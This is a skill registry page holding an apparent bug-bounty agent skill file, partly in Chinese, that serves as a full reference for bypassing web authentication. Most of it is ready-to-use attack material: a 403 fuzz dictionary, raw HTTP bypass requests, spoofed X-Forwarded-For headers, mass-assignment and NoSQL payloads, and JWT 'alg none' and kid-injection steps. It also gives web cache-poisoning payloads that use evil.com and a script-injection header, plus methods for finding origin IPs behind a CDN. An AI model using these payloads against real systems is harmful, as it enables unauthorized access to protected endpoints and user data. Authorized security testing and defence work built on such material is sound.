<< All versions
Skill v1.0.0
currentAutomated scan100/100jinyimeng01/mastermind-bug-bounty/auth-bypass
──Details
PublishedOctober 13, 2026 at 07:27 PM
Content Hashsha256:561b354d1b4677ad...
Git SHA4f2549026d4e
──Files
Files (1 file, 5.0 KB)
SKILL.md5.0 KBactive
SKILL.md · 171 lines · 5.0 KB
version: "1.0.0" name: auth-bypass description: > 401/403/405 authentication bypass techniques. Covers path manipulation, HTTP method switching, header injection, protocol downgrade, multi-position fuzzing, and middleware- specific bypass strategies with full payload dictionary. metadata: tags: "bypass,403,401,405,auth,waf,access-control" category: "offensive-security"
Authentication Bypass — Full Reference
403 Bypass Fuzz Dictionary
Append to endpoint end:
%09 %20 %23 %2e %2f /%2e/ // /..;/ //..;//%20 /%09 /%00 /.json /.css /.html /? /?? /???/?testparam /# /#test //. //// /.//./ ~ . ; ..;;%09 ;%09.. ;%09..; ;%2f.. * .json ../ ..;/?a.css ?a.js ?a.jpg ?a.png ../admin ..%2f ./ .%2f..%00/ ..%0d/ ..%5c & @ ? ?? ...\ .././ /;/.%2e/ ..\ ..%ff/ %2e%2e%2f %3f ?.css ?.js%3f.css %3f.js %26 %0a %0d %0d%0a %3b \ .\
Top 10 Bypass Payloads
http
GET /admin/ HTTP/1.1 # trailing slashGET /Admin HTTP/1.1 # case variationGET /admin%20 HTTP/1.1 # trailing spaceGET /./admin HTTP/1.1 # dot segmentGET //admin HTTP/1.1 # double slashPOST /admin HTTP/1.1 # method switchGET / HTTP/1.1 # X-Original-URLX-Original-URL: /adminGET /admin HTTP/1.1 # IP whitelistX-Forwarded-For: 127.0.0.1GET /admin;.css HTTP/1.1 # IIS path paramGET /admin..;/ HTTP/1.1 # Tomcat bypass
API Authentication Bypass
# IP whitelist bypassX-Forwarded-For: 127.0.0.1X-Real-IP: 127.0.0.1X-Originating-IP: 127.0.0.1# Path bypass/api/admin → 403/api/Admin → 200?/api/admin/ → 200? (trailing slash)/api//admin → 200? (double slash)# Method bypassGET /api/admin → 403POST /api/admin → 200?OPTIONS /api/admin → leak allowed methods# Mass Assignment{"username": "test", "password": "pass", "role": "admin"}{"username": "test", "password": "pass", "is_admin": true}# Parameter type confusionid=1 → id[]=1 (array)id=1 → id={"$gt":0} (NoSQL object)limit=10 → limit=999999 (mass data leak)page=1 → page=-1 (negative)
Multi-Position Fuzz + Response Byte Analysis
Original: /api/admin/usersPosition 1: /api/admin/users.json ← endPosition 2: /api/admin/.json/users ← middlePosition 3: /api/.json/admin/users ← frontPosition 4: /api/admin/users/..;/users ← path backtrackResponse byte analysis:403 → 200 + bytes significantly increase → ✅ bypass successful403 → 200 + bytes very small → ⚠️ might be empty page200 → 200 + bytes increase → new data loadedAny status + bytes same as normal page → bypass failed
JWT Token Bypass
When Authorization: Bearer eyJ... is present and 401/403 occurs on admin endpoints from a low-privilege user:
- Bearer Removal: strip "Bearer " prefix →
Authorization: eyJ... - Algorithm None: change
algto"none", strip signature - Secret Brute Force: wallarm jwt.secrets.list + JS-extracted keywords
- kid Injection: path traversal / SQLi in key ID header
→ Full JWT attack methodology: see skills/jwt_attack/SKILL.md
Cache Poisoning / CDN 绕过
当前面有 CDN/WAF 时,缓存投毒可以不碰后端直接污染前端缓存。 此节补充 Phase 0 WAF 检测 + Phase 3.8 绕过之间的空白。
0. CDN 识别
Cloudflare: CF-RAY, cf-cache-status, __cf_bmAWS CloudFront: X-Cache: Hit from cloudfront, X-Amz-Cf-IdFastly: X-Served-By, X-Cache-HitsAkamai: X-Akamai-Request-BC, Server: AkamaiGHost国内 CDN: X-Swift-Cache, X-Cache-Lookup, ali-cdn, TencentCloudWAF
1. Web Cache Poisoning 检测
Step 1: 找未 keyed header(CDN 不作为 cache key 但后端处理的 header)正常请求 → 记录响应体大小带 X-Forwarded-Host: evil.com → 如果响应中出现 evil.com → 可投毒Step 2: 投毒 payload 候选 header:X-Forwarded-Host: "><script>alert(1)</script>X-Forwarded-Scheme: javascriptX-Forwarded-Port: 99999X-Original-URL: /adminX-Rewrite-URL: /adminStep 3: 验证缓存已污染去掉投毒 header 后重新请求 → 如果响应中还包含投毒内容 → 缓存投毒成功
2. CDN 回源 IP 探测
绕过 CDN 直接打到真实 IP → CDN 所有防护失效。
找真实 IP:□ DNS 历史: securitytrails.com / dnsdumpster.com□ SSL 证书: crt.sh → 搜域名 → 找非 CDN IP□ 邮件头: 目标发邮件 → 查看原始邮件头 Source IP□ 子域名: dev/staging/admin 子域名可能没套 CDN□ Shodan: 搜索 favicon hash / SSL 证书 hash□ 直接打 IP: curl -k -H "Host: target.com" https://<IP>
3. IP 白名单嗅探
# 尝试各种内网/白名单 IPX-Forwarded-For: 127.0.0.1X-Forwarded-For: 10.0.0.1X-Forwarded-For: 172.16.0.1X-Forwarded-For: 192.168.1.1X-Real-IP: 127.0.0.1X-Client-IP: 127.0.0.1True-Client-IP: 127.0.0.1# 组合 Origin 绕过Origin: https://target.comReferer: https://target.com/admin